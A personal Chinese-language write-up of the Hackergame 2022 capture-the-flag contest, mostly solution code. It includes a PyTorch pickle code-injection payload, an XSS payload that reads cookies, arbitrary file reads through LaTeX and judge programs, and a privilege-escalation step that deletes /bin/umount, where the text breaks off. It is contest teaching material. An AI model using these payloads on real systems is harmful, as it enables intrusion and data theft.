Hackergame 2022(中科大第九届信息安全大赛)个人题解

今年得分 7350,总榜 15。

board

题目及其余题解可以在 hackergame2022-writeups 中查看

环境

  • Debian Bookworm
  • Python 3.10

完成的题目

16. 二次元神经网络

2022 年 10 月 22 日 12 时,Hackergame 2022 正式开始

签到、Xcaptcha、Latex 机器人各做了十几分钟,然而都没做出来

12:40 - 13:30

开始炼这题的丹。感觉参数量有点小,Loss 不太能降的下来

14:20

发现这题是 web 类型的题目,感觉并不是让我们训练网络或者解不等式。

我对 AI 绘画很感兴趣,之前 bilibili 上 NovelAI 相关的视频看了不少。其中有一个 你的NovelAI模型,极有可能被恶意攻击 提到了 pickle 模块可能存在安全问题。但是里面的代码只展示了 pkl 文件的读取和写入,没有 pt 文件的读取和写入。

把 pt 文件解压缩可以得到一个 pkl 文件,然而直接用 packle 载入会报错。把 PyTorch 版本换成题目中的 1.9 也不行。尝试调试库代码,以失败告终。

15:30

Google 了好久,终于用 pickle Serialization danger pytorch 找到了一个示例 The hidden dangers of loading open-source AI models (ARBITRARY CODE EXPLOIT!),作者写了一个库 yk/patch-torch-save,这个函数可以替换 torch.save 实现代码注入。

试了一下在要上传的模型中注入 exit 进去,发现确实可以让后台崩掉。

实现时需要阻止在执行注入的代码后按照 pt 文件后面的数据保存结果。于是重写 json.dump 函数,让服务器在调用这个函数时把数据集的前十张图片导出到 /tmp/result.json

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import torch
import patch_torch_save
from models import SimpleGenerativeModel

def replaceWithDataset():
    import json

    def fun(a, b):
        import io
        import base64
        import torch
        import matplotlib.image

        predictions = torch.load("dataset/pixels_10.pt", map_location="cpu")
        gen_imgs = []
        for i in range(10):
            out_io = io.BytesIO()
            matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png")
            png_b64 = base64.b64encode(out_io.getvalue()).decode()
            gen_imgs.append(png_b64)

        jsondump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))

    global jsondump
    jsondump = json.dump
    json.dump = fun

patched_save_function = patch_torch_save.patch_save_function(replaceWithDataset)

model = SimpleGenerativeModel(n_tags=63, dim=8, img_shape=(64, 64, 3))
model.load_state_dict(torch.load("checkpoint/model.pt", map_location="cpu"))

patched_save_function(model.state_dict(), "checkpoint/model2.pt")

感谢 Stable Diffusion,感谢 NovelAI,我拿到了第一个 flag,获得了这一题的一血,守护了科大这片二次元的土地。


1. 签到

一开始点开签到,画了一下没画出来,开始把网页下载下来看代码。

后来感觉分析 JavaScript 代码不是签到题该有的难度。忽然发现点击提交后 URL 会变,把请求内容改成 2022 就可以了。


2. 猫咪问答喵

  1. 百度 USTC NEBULA 成立时间中国科大“星云战队”获信息安全铁人三项赛华东区企业赛冠军 中提到成立时间是 2017-03
  2. 找到 gnome-wayland-user-perspective.pdf,里面的是 Kdenlive 的界面
  3. 发现会提示答对了几道题,所以网上随便查,往上填,发现是 12。
  4. 用 Google 查找 CVE-2021-4034 torvalds/linux.git 得到 New CVE entries this week
  5. 一开始查不到,Wiki 上找了一些域名碰运气,失败。 后来发现 Bing 国际版直接查找 MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce 即可得到 sdf.org 百度垃圾,Google 垃圾。
  6. 找到 关于实行新的网络费用分担办法的通知,但 2011-01-01 不对。 用脚本枚举出来是 2003-03-01

3. 家目录里的秘密

VS Code 里的 flag

第一问 VSCode 一开,查 flag 就行

Rclone 里的 flag

第二问找到 ~/.bash_history 以及 ~/.config/rclone/rclone.conf,但里面的 FTP 连不上。在家目录里找域名或 IP 填进去都不行。

后来照着 ~/.bash_history 打了一遍命令,发现 Rclone 存储的 pass 比输入的长,猜测进行了加密。

查到了 How to retrieve a crypt password from a config file

装个 go,把里面的代码跑一跑,flag 就出来了。

说得倒是很轻松,事实上花了不少时间呢。

感觉 MISC 题在考智商,能不能领会到出题人的想法


4. HeiLang

正则表达式替换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import re

with open('getflag.hei.py', 'r') as f:
    code = f.read()

result = []
for line in code.split('\n'):
    # find a[(.*)] = (.*)
    if re.match(r'a\[(.*)\] = (.*)', line):
        match = re.match(r'a\[(.*)\] = (.*)', line)
        print(match.group(1), match.group(2))
        for i in match.group(1).split(' | '):
            result.append('a[' + i + '] = ' + match.group(2))
    else:
        result.append(line)

with open('getflag.hei.py', 'w') as f:
    f.write('\n'.join(result))

5. Xcaptcha

使用 Python 的 Selenium 库,模拟人工操作。一开始代码写错了,用 Kazam 录屏后才发现错误

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from selenium import webdriver
from selenium.webdriver.common.by import By
import re

# firefox
driver = webdriver.Firefox()
driver.get('http://202.38.93.111:10047')

# input type="text"
inputBox = driver.find_element(By.CSS_SELECTOR, 'input[type="text"]')
inputBox.send_keys(
    '1:MEUCIQC24dB6B24/LDr2O+4cifbzOEFDbkXg3hJIqTXuuvpa1QIgbzMM/F0uUmYIudtM6qEDvOpEHbtTZjSjTWMcA5zhnos= ')

# input type="submit"
# click img-fluid
driver.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
driver.find_element(By.CLASS_NAME, 'img-fluid').click()

# <label for="captcha1">160092426831461187501631690638141489463+53014117698106737620695077701380624357 的结果是?</label>
# <input type="text" class="form-control" id="captcha1" name="captcha1" placeholder="请输入结果">
for i in range(3):
    captcha = driver.find_element(By.CSS_SELECTOR, 'label[for="captcha' + str(i + 1) + '"]').text
    result = re.search(r'(.+) 的结果是', captcha).group(1)
    ans = eval(result)
    driver.find_element(By.CSS_SELECTOR, 'input[name="captcha' + str(i + 1) + '"]').send_keys(ans)

# <button type="submit" class="btn btn-primary" id="submit">提交</button>
driver.find_element(By.ID, 'submit').click()

6. 旅行照片 2.0

照片分析

KDE 自带的图片管理器可以显示图片的 EXIF 信息。

闪光灯对应的是 Flash 一栏,当时没注意到

社工入门

  • 使用 welcome to zozo stadium japan 查到了。邮编用 Google Postcodes 或者 Bing 查到。注意拍摄地点在马路对面
  • 手机分辨率:用京东查小米手机,看着像 Redmi Note 9,百度百科说分辨率是 2340x1080
  • flightradar24 查航班。根据飞机方向判断起飞机场是东京机场或者南面的一个机场。然后用脚本枚举

7. 猜数字

每次有 10^-6 次方的概率一下子猜对,就算每次交互 1s,也要 11 天。所以不可能暴力。

观察了一下随机数,没有发现问题。

后来看到这段代码,估计是 NaN

1
2
3
4
var isLess = guess < this.number - 1e-6 / 2;
var isMore = guess > this.number + 1e-6 / 2;

var isPassed = !isLess && !isMore;

不知道为什么 Firefox 的重发有问题,我最后是用 Python 发的。

1
<state><guess>NaN</guess></state>

8. LaTeX 机器人

纯文本

Copilot 教会我用 \input

1
\input{/flag1}

刚开始可能是没加 /,所以报错了

特殊字符混入

很多需要导入包的都不太行。Google 了好久,终于找到 How to import a text file,发现可以用 \catcode

1
2
3
\catcode`\_=12
\catcode`\#=12
\input{/flag2}

9. Flag 的痕迹

一开始以为要找出用户名和密码。

后来点着点着发现 URL 里有 do=。源码里见过,根据源码改成 do=diff

http://202.38.93.111:15004/doku.php?id=start&do=diff

然后鼠标点之前的版本,就能得到 flag 了。

我也花了挺久的


10. 安全的在线测评

无法 AC 的题目

这题让我想起了 如何看待 NOIP2020 某选手通过修改输入文件获得了第三题的满分?

fopen 目标输出文件,然后打印出来即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>

int main(int argc, char* argv[]) {
    // read ./data/static.out and print
    FILE* fp = fopen("./data/static.out", "r");
    char buf[1024];
    while (fgets(buf, 1024, fp) != NULL)
        printf("%s", buf);
    return 0;
}

得到 flag{the_compiler_is_my_eyes_deba6df85e}

动态数据

fopen 不行了,没有读权限。

上一小问的 flag 提示在编译时 include 目标文件。但直接 include 不行,因为两个数字间有换行。

Embedding resources in executable using GCC 中提到了 incbin 这个库,可以包含数据文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include "incbin.h"

INCTXT(staticOut, "./data/static.out");
INCTXT(dynamic0Out, "./data/dynamic0.out");
INCTXT(dynamic1Out, "./data/dynamic1.out");
INCTXT(dynamic2Out, "./data/dynamic2.out");
INCTXT(dynamic3Out, "./data/dynamic3.out");
INCTXT(dynamic4Out, "./data/dynamic4.out");

char* indexToOut[] = {
    staticOut_data, dynamic0Out_data, dynamic1Out_data, dynamic2Out_data, dynamic3Out_data, dynamic4Out_data,
};

int main() {
    // read currentFile from currentFile
    // if not exist, create it, currentFile = 0
    FILE* fp = fopen("./temp/currentFile", "r");
    int currentFile = 0;
    if (fp != NULL) {
        fscanf(fp, "%d", &currentFile);
        fclose(fp);
    }
    // write currentFile + 1 to currentFile
    fp = fopen("./temp/currentFile", "w");
    fprintf(fp, "%d", currentFile + 1);
    fclose(fp);

    printf("%s", indexToOut[currentFile]);
}

为了避免包含这个库,可以用 gcc -E 预处理一下,然后把没用的代码删掉,提交的文件见 submit.c

暑假时查过编译时 include 文件的资料,但当时没找到,这次学到了。


11. 线路板

安装 Gerbv

加载所有 *.gbr 文件,然后发现 fla 字样,把所有挡住的圆盘删掉,获得 flag。

一开始装了个免费版的 Altium Designer,一点用都没有


12. Flag 自动机

直接打开有两个按钮,鼠标左键 + Alt + Space 乱按有概率颠倒按钮,但还是会显示没有管理员权限。

使用 Detect_it_Easy,没有发现壳。

用文本编辑器打开文件会显示一些文字,比如 flag_machine.txt

学习了一下 IDA 的使用。找到了 fwrite 的位置。根据反汇编的代码,将判断语句 jnz 更改为 jz


13. 微积分计算小练习

bot.py 调用 selenium 打开网页。需要更改 URL 的参数获得 cookie

查看 http://202.38.93.111:10056/share?result=MTAwOkdXRHg%3D 的页面源代码

微积分网站中的 URL 是经过 base64 和 URL 编码的

解码后是 GWDx:100

查看 JavaScript 代码

1
2
3
4
5
6
7
8
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);

document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";

经过尝试,填入 <script> 不会被更新。而 浅谈XSS攻击的那些事 中提到可以用 <img src=1 onerror= 进行 XSS 攻击

所以构造

1
<img src="1" onerror=document.querySelector("#greeting").innerHTML=document.cookie>

加上 :,base64 和 URL 编码后得到

1
http://202.38.93.111:10056/share?result=OjxpbWcgc3JjPSIxIiBvbmVycm9yPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiNncmVldGluZyIpLmlubmVySFRNTD1kb2N1bWVudC5jb29raWU%2B

填入提交网站即可获得 flag


14. 杯窗鹅影

flag1

fopen 直接读

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int main() {
    // open /flag1 and print it
    FILE* f = fopen("/flag1", "r");
    char buf[100];
    fgets(buf, 100, f);
    printf("%s", buf);
    fclose(f);
    return 0;
}

flag2

不知道为什么我的电脑上可以,评测机上 execve 不行,execveat 也不行,而 execveat 的汇编也存在 Permission 方面的问题

后来尝试用 windows 的 API,把 start.exe 附到代码里,但是评测机上的 start.exe 没有打印输出结果的选项

最后发现用 windows 直接创建进程运行这个文件是可以的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

int executeFile() {
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (!CreateProcess("\\\\?\\unix\\readflag", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d)\n", GetLastError());
        return 1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

int main(int argc, char* argv[]) {
    for (int i = 0; i < argc; i++)
        printf("argv[%i]: %s\n", i, argv[i]);
    executeFile();
}

15. 蒙特卡罗轮盘赌

随机数种子取决于 time(0) + clock()。其中 clock() 表示程序运行的 CPU 时钟数,本地运行大概在 500-1500 之间。

一开始假设其为某个值和服务器枚举,结果试了 1000 次都不行。

后来想到可以先随便输两个数字,把前两题的答案套出来,然后再枚举。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

double rand01() {
    return (double)rand() / RAND_MAX;
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int time0 = time(0);

    char buf1[100] = "3.13801";
    char buf2[100] = "3.14753";

    for (int clock0 = 0; clock0 < 2000; clock0++) {
        srand((unsigned)time0 + clock0);

        int games = 5;
        char target[20];
        for (int i = games; i > 0; i--) {
            int M = 0;
            int N = 400000;
            for (int j = 0; j < N; j++) {
                double x = rand01();
                double y = rand01();
                if (x * x + y * y < 1)
                    M++;
            }
            double pi = (double)M / N * 4;
            sprintf(target, "%1.5f", pi);

            if (i == 5) {
                if (strcmp(target, buf1) != 0)
                    break;
            } else if (i == 4) {
                if (strcmp(target, buf2) != 0)
                    break;
            } else
                printf("clock0 = %d, i = %d, target = %s\n", clock0, i, target);
        }
    }
    return 0;
}

17. 惜字如金

HS384

手动还原一些字符

密钥部分写个扩写程序,暴力枚举,求出密钥的 LCS 与目标匹配度最高的字符串

注意原来的字符串后面有些地方可以省略 e

代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hashlib import sha384
import pylcs


def check_equals(left, right):
    if left != right:
        print(left)
        print(right)


secret = b'ustc.edu.cn'
allConsonant = 'bcdfghjklmnpqrstvwxyz'


# split N into M parts, each part is at least 1
# return all possible ways
# for example, split(4, 2) returns [[1, 3], [2, 2], [3, 1]]
def split(N, M):
    if M == 1:
        return [[N]]
    else:
        return [[i] + j for i in range(1, N) for j in split(N - i, M - 1)]


# given a string and length, return all possible ways to repeat consonant letters
# for example, repeat('abc', 4) returns ['abbc', 'abcc']
# repeat('abc', 5) returns ['abccc', 'abbcc', 'abbbc']
def repeat(string, length):
    consonantChar = [i for i in string if i in allConsonant]
    vowelChar = [i for i in string if i not in consonantChar]
    consonantCount = len(consonantChar)
    vowelCount = len(vowelChar)
    consonantTarget = length - vowelCount

    allPossible = split(consonantTarget, consonantCount)

    result = []
    for allRepeatTime in allPossible:
        temp = ''
        consonantCharIndex = 0
        for char in string:
            if char in consonantChar:
                temp += char * allRepeatTime[consonantCharIndex]
                consonantCharIndex += 1
            else:
                temp += char
        result.append(temp)
    return result


allPossibleSecret = repeat('ustce.edu.cn', 39)

for possibleSecret in allPossibleSecret:
    possibleSecret = possibleSecret.encode()
    check_equals(len(possibleSecret), 39)
    secret_sha384 = 'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47fa170f33d53bc62074271866a4e4d1325dc27f644fdad'
    fullSHA = sha384(possibleSecret).hexdigest()

    if pylcs.lcs(fullSHA, secret_sha384) > 48:
        print(fullSHA)
        print(secret_sha384)
        print(possibleSecret)

可以得到密钥为 usssttttttce.edddddu.ccccccnnnnnnnnnnnn

做第二问 RS384 时忘记 a e i o u 不做处理的了


18. 不可加密的异世界

疏忽的神

这题要求输入 name IV key 加密算法 分组模式,使得 pass = name + "Open the door!" 加密后的结果为其自身。

学习了一下块加密的算法、填充方式等信息

加密算法选择 AES,因为明文长度小于 16 字节,可以塞进 AES 的一个块里

这题选择 CBC,使用字节反转攻击

CBC 的公式是

$$ C_1 = E(K, P_1 \oplus IV) \ $$

$$ IV = P_1 \oplus D(K, C_1) \ $$

$C_1 = P_1 = pass$,K 可以随意设置,利用上述公式可以求出 IV

代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.Padding import pad, unpad
from magic_box import *
from icecream import ic
import binascii


def calc(your_name):
    your_pass = your_name + b"Open the door!"

    algo = 'AES'
    mode = 'CBC'

    if algo == "AES":
        blocksize = 16
    else:
        blocksize = 8

    keys = bytes.fromhex('8765432187654321876543218765432187654321876543218765432187654321')

    padPass = pad(your_pass, blocksize)
    times = len(padPass) // blocksize

    cipher = padPass

    magic_box = Magic_box(algo, mode, keys)
    plain = magic_box.auto_dec(cipher)
    iv = magic_box.api.iv

    allPartP = [iv] + [plain[j * blocksize:(j + 1) * blocksize] for j in range(times)]
    allPartC = [iv] + [cipher[j * blocksize:(j + 1) * blocksize] for j in range(times)]

    assert len(allPartP) == len(allPartC) == times + 1

    for i in reversed(range(times)):
        allResultPartP = allPartC.copy()
        allResultPartC = allPartC.copy()
        # cA2 = [cA1[i] ^ pB1[i] ^ pB2[i] for i in range(16)]
        allResultPartC[i] = bytes(
            [allPartC[i][j] ^ allPartP[i + 1][j] ^ allResultPartP[i + 1][j] for j in range(blocksize)])

        cipher = b''.join(allResultPartC[1:])
        iv = allResultPartC[0]
        keys = keys[:blocksize] + iv

        magic_box = Magic_box(algo, mode, keys)

        plain = magic_box.auto_dec(cipher)
        allPartP = [iv] + [plain[j * blocksize:(j + 1) * blocksize] for j in range(times)]
        allPartC = [iv] + [cipher[j * blocksize:(j + 1) * blocksize] for j in range(times)]

        assert allPartP[i + 1] == allPartC[i + 1]

    assert plain == cipher
    ic(plain)

    ansYourNameRaw = plain[:len(your_name)]
    ansYourPassHex = binascii.hexlify(keys)
    ic(ansYourNameRaw)
    ic(ansYourPassHex)

    return ansYourNameRaw, ansYourPassHex


ansYourNameRaw, ansYourPassHex = calc(b'A')

心软的神

这题给定一个字符串,可以选择 加密算法 分组模式,每次可以输入不同的 key IV,要求每次的块的加密结果为其自身。

这题还是选 CBC

$$ C_1 = E(K, P_1 \oplus IV) \ C_{n+1} = E(K, P_{n+1} \oplus C_n) \ $$

$$ C_n = P_{n+1} \oplus D(K, C_{n+1}) \ IV = P_1 \oplus D(K, C_1) \ $$

$P_n = C_n$,为给定字符串的一个块,K 可以随意设置,利用上述公式可以求出各个 IV

代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.Padding import pad, unpad
from magic_box import *
from icecream import ic
import binascii


def calc(targetString, index):
    algo = 'DES'
    mode = 'CBC'

    blocksize = 8

    padPass = targetString[:(index + 1) * blocksize]
    times = len(padPass) // blocksize

    key = iv = bytes.fromhex('1234567812345678')

    # init
    # P = padPass
    # C[index] = padPass[index]
    P = [iv] + [padPass[j * blocksize:(j + 1) * blocksize] for j in range(times)]
    C = [iv] + [padPass[j * blocksize:(j + 1) * blocksize] for j in range(times)]

    # c[i] = P[i+1] ^ f-1(c[i+1])
    for i in reversed(range(times)):
        magicBoxECB = Magic_box(algo, 'ECB', key)
        reverseF = magicBoxECB.auto_dec(C[i + 1])
        C[i] = bytes([P[i + 1][j] ^ reverseF[j] for j in range(blocksize)])

    iv = C[0]
    keys = key + iv

    magic_box = Magic_box(algo, mode, keys)
    encrypt = magic_box.auto_enc(padPass)
    # ic(binascii.hexlify(encrypt))
    # ic(binascii.hexlify(padPass))
    assert encrypt[index * blocksize:(index + 1) * blocksize] == targetString[index * blocksize:(index + 1) * blocksize]

    passHex = binascii.hexlify(keys)
    return passHex


blocksize = 8
blockNum = 10

targetHex = 'd09297eecd6da9e2dec6b1e0ed29eaf2801c6128b92cdd7b9700c5da77fd22b5e2b556ebec6596d8de1bf9c14a9031bf25e149a2f513d32191b24cbbdb018a47e9658fc7ac503f3067ae929fc40e667d'
targetString = binascii.unhexlify(targetHex)

for i in range(blockNum):
    partTargetString = targetString
    keys = calc(partTargetString, i).decode()
    print(keys)

第三问推出 CBC 的公式了,但没想到逆 CRC128,以为是碰撞


19. 置换魔群

置换群上的 RSA

secret 和 public 的 tuple 数估计是相等的

$$ public ^ {public.order()} = 1 \ secret ^ e = public $$

所以求出 e 对于 public.order() 的逆元 d

$$ public ^ d = secret $$

代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from permutation_group import permutation_element, permutation_group
from math import factorial
import re
from icecream import ic
from pwn import *
import gmpy2


def s2n(x):
    return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)]


r = remote('202.38.93.111', 10114)
r.sendlineafter('Please input your token: ',
                '1:MEUCIQC24dB6B24/LDr2O+4cifbzOEFDbkXg3hJIqTXuuvpa1QIgbzMM/F0uUmYIudtM6qEDvOpEHbtTZjSjTWMcA5zhnos= ')

# send 1
r.sendlineafter('> your choice:', '1')
r.recvlines(2)
for i in range(15):
    ic(i)
    receive1 = r.recvline().decode()
    receive2 = r.recvline().decode()
    receive3 = r.recvline().decode()
    receive4 = r.recvline().decode()
    print(receive1 + receive2 + receive3 + receive4, end='')
    # print(receive)
    n = int(re.findall(r'n = (\d+)', receive1)[0])
    e = 65537
    # ic(n)
    rawPublic = re.findall(r'\[(?:\d|\s|,)+\]', receive3)[0]
    publicList = s2n(rawPublic)
    assert len(publicList) == n

    public = permutation_element(n, publicList)
    # ic(totalPermutation)
    # evaluate mod-1
    ans = gmpy2.invert(e, public.order())
    secret = public**ans

    # ic(secret.permutation_list)
    r.sendline(str(secret.permutation_list))

    receive5 = r.recvline().decode()
    print(receive5, end='')

r.interactive()

置换群上的 DH

观察以下群 1-7 次方的变化

1
2
3
4
5
6
7
ic|      raw.standard_tuple: [(1, 2, 9, 5, 8, 4), (3,), (6, 7, 10)]
ic| (raw**2).standard_tuple: [(1, 9, 8), (2, 5, 4), (3,), (6, 10, 7)]
ic| (raw**3).standard_tuple: [(1, 5), (2, 8), (3,), (4, 9), (6,), (7,), (10,)]
ic| (raw**4).standard_tuple: [(1, 8, 9), (2, 4, 5), (3,), (6, 7, 10)]
ic| (raw**5).standard_tuple: [(1, 4, 8, 5, 9, 2), (3,), (6, 10, 7)]
ic| (raw**6).standard_tuple: [(1,), (2,), (3,), (4,), (5,), (6,), (7,), (8,), (9,), (10,)]
ic| (raw**7).standard_tuple: [(1, 2, 9, 5, 8, 4), (3,), (6, 7, 10)]

如果知道 raw 和 raw^n,可以根据 raw^n 的每个 tuple 中第一个和第二个元素在 raw 中的位置差,列出同余方程组,然后用中国剩余定理求解

代码
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from permutation_group import permutation_element, permutation_group
from random import SystemRandom
import re
from icecream import ic
from sympy.ntheory.modular import crt
from pwn import *


def s2n(x):
    return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)]


secure_prng = SystemRandom()
sample = secure_prng.sample
randint = secure_prng.randint

# solve Congruence equation


def solve(n, raw, ans):
    eqns = set()
    # for each tuple in result
    # find it in raw
    # add an equation
    # x mod rawTupleOrder = position[1] - position[0] in resultTuple
    for i in range(len(ans.standard_tuple)):
        resultTuple = ans.standard_tuple[i]
        element0 = resultTuple[0]
        if len(resultTuple) > 1:
            element1 = resultTuple[1]
        else:
            element1 = element0
        for j in range(len(raw.standard_tuple)):
            rawTuple = raw.standard_tuple[j]
            if element0 in rawTuple:
                position0 = rawTuple.index(element0)
                position1 = rawTuple.index(element1)
                eqns.add((len(rawTuple), (position1 - position0) % len(rawTuple)))
                break
        else:
            raise Exception("Not found")

    ic(eqns)
    # solve eqns, use CRT
    allMod = []
    allRem = []
    for mod, rem in eqns:
        allMod.append(mod)
        allRem.append(rem)
    ans = crt(allMod, allRem)[0]
    ic(ans)

    return ans


def test():
    n = 10
    An = permutation_group(n)
    raw = An.random_element()
    ic(raw.standard_tuple)

    secret = randint(1, raw.order())
    ic(raw.order())
    ic(secret)
    for i in range(2, 10):
        ic((raw**i).standard_tuple)

    result = raw**secret
    ans = solve(n, raw, result)
    assert ans == secret

    ic(result.standard_tuple)
    print(f"[+] DH public key: n = {n}, g = {raw}")
    print(f"[+] my public key = {result} ")
    print(f"[+] Prove that you own the secret: ")
    ans = int(input("> your answer: "))
    if ans == secret:
        print("Good job")
    else:
        print("Bad")


def communicate():
    r = remote('202.38.93.111', 10114)
    r.sendlineafter(
        'Please input your token: ',
        '1:MEUCIQC24dB6B24/LDr2O+4cifbzOEFDbkXg3hJIqTXuuvpa1QIgbzMM/F0uUmYIudtM6qEDvOpEHbtTZjSjTWMcA5zhnos= ')

    r.sendlineafter('> your choice:', '2')
    r.recvlines(2)
    for i in range(15):
        ic(i)
        allRecv = b''.join(r.recvlines(3)).decode()
        print(allRecv)
        g = re.findall(r"g = \[.*?\]", allRecv)[0]
        pub = re.findall(r"my public key = \[.*?\]", allRecv)[0]
        g = s2n(g)
        pub = s2n(pub)
        n = len(g)

        ic(n)

        raw = permutation_element(n, g)
        result = permutation_element(n, pub)

        ans = solve(n, raw, result)
        r.sendline(str(ans))

        receive5 = r.recvline().decode()
        print(receive5, end='')

    r.interactive()


test()

置换群上的超大离散对数

这题允许自己选择两个群,然后对方算出它们的 key 次方。

最好使两个群中所有 tuple 的 lcm 尽可能大。

  • 首先想到的尽可能多塞素数,计算和不超过 2n 的前几个素数,按照从大到小的顺序生成 tuple 塞进两个群中
  • 此外,一些素数的次方数也是可行的,例如 25,27,32

不过由于只是按照贪心算法,在大多数时候并不能得到足够大的解。所以将以下函数更改参数了共计 36 次计算,然后取最大值。人品好就能过 15 关

1
selectPrimesGen(primeList, n, True, [64, 49, 27, 25]),

这好像就是背包问题的变种,当时没想到

代码见 DH+.py


20. 光与影

一开始以为改代码以后网页显示不出来是因为程序限制了 Hash,后来发现仅仅是还没编译出来而已

发现 fragment-shader.js 的 t1SDF 里有很多点

在脑袋里模拟了一下,第一个字母的上面部分有点像 f。用 Python 画了一下,发现 t1SDF 里的点是 flag

但其他几个函数里的点似乎都是经过变换的,不可能用 Python 再画一遍。

t5SDF 比较短,可能是用来遮挡 flag 的,把和它相关的删掉即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
float sceneSDF(vec3 p, out vec3 pColor) {
    pColor = vec3(1.0, 1.0, 1.0);

    vec4 pH = mk_homo(p);
    vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;

    float t1 = t1SDF(pTO.xyz);
    float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
    float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
    float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
    // float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

    float tmin = min(min(min(t1, t2), t3), t4);
    return tmin;
}

23. 链上记忆大师

记忆练习

配置一下 solidity,然后“照猫画虎”

1
2
3
4
5
6
7
8
9
contract MemoryMaster {
    uint256 public n;
    function memorize(uint256 nn) external {
        n = nn;
    }
    function recall() external view returns (uint256) {
        return n;
    }
}

后两问没想到能够使用 gas 传递信息

在想第三问能不能通过 view 函数调用 library function(contract 外的函数)来改变状态,Solidity 文档 里说 library function 没有 view 的运行时检查


24. 片上系统

引导扇区

metadata 里提到了 Sigrok。首先,安装 Sigrok 和 PulseView。

参考 Getting Started with a $10 Logic Analyzer using Sigrok and PulseView 学习使用,尝试采样并保存

将保存的 sr 文件中的三个文件替换为给定的文件,重新用 PulseView 打开。

添加 SPI 解码器,设置变化最频繁的信号为 CLK,最不频繁的信号为 CS,其他两个随意。然后导出 txt,某个信号的最后一行 ASCII 解码后就是 flag

第二问:

没配好 RISC-V 的反汇编环境。看到 Video outputed 以为前面的代码已经把字符输出到屏幕上了。


25. 传达不到的文件

ps 发现父进程是 /etc/init.d/rcS,这个文件设置了权限,它的最后几行是

1
2
3
4
5
6
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp

poweroff -d 0  -f

这道题之后是在手机上做的,手机上真难打命令

去查了一下恰好看到 change-others,其中提到可以劫持 root 程序将要运行的 poweroff 命令。

查看文件 ls -l /sbin,发现竟然都是 rwx/bin 下也是。经过一系列命令的组合,通过

1
2
3
4
5
rm /bin/umount
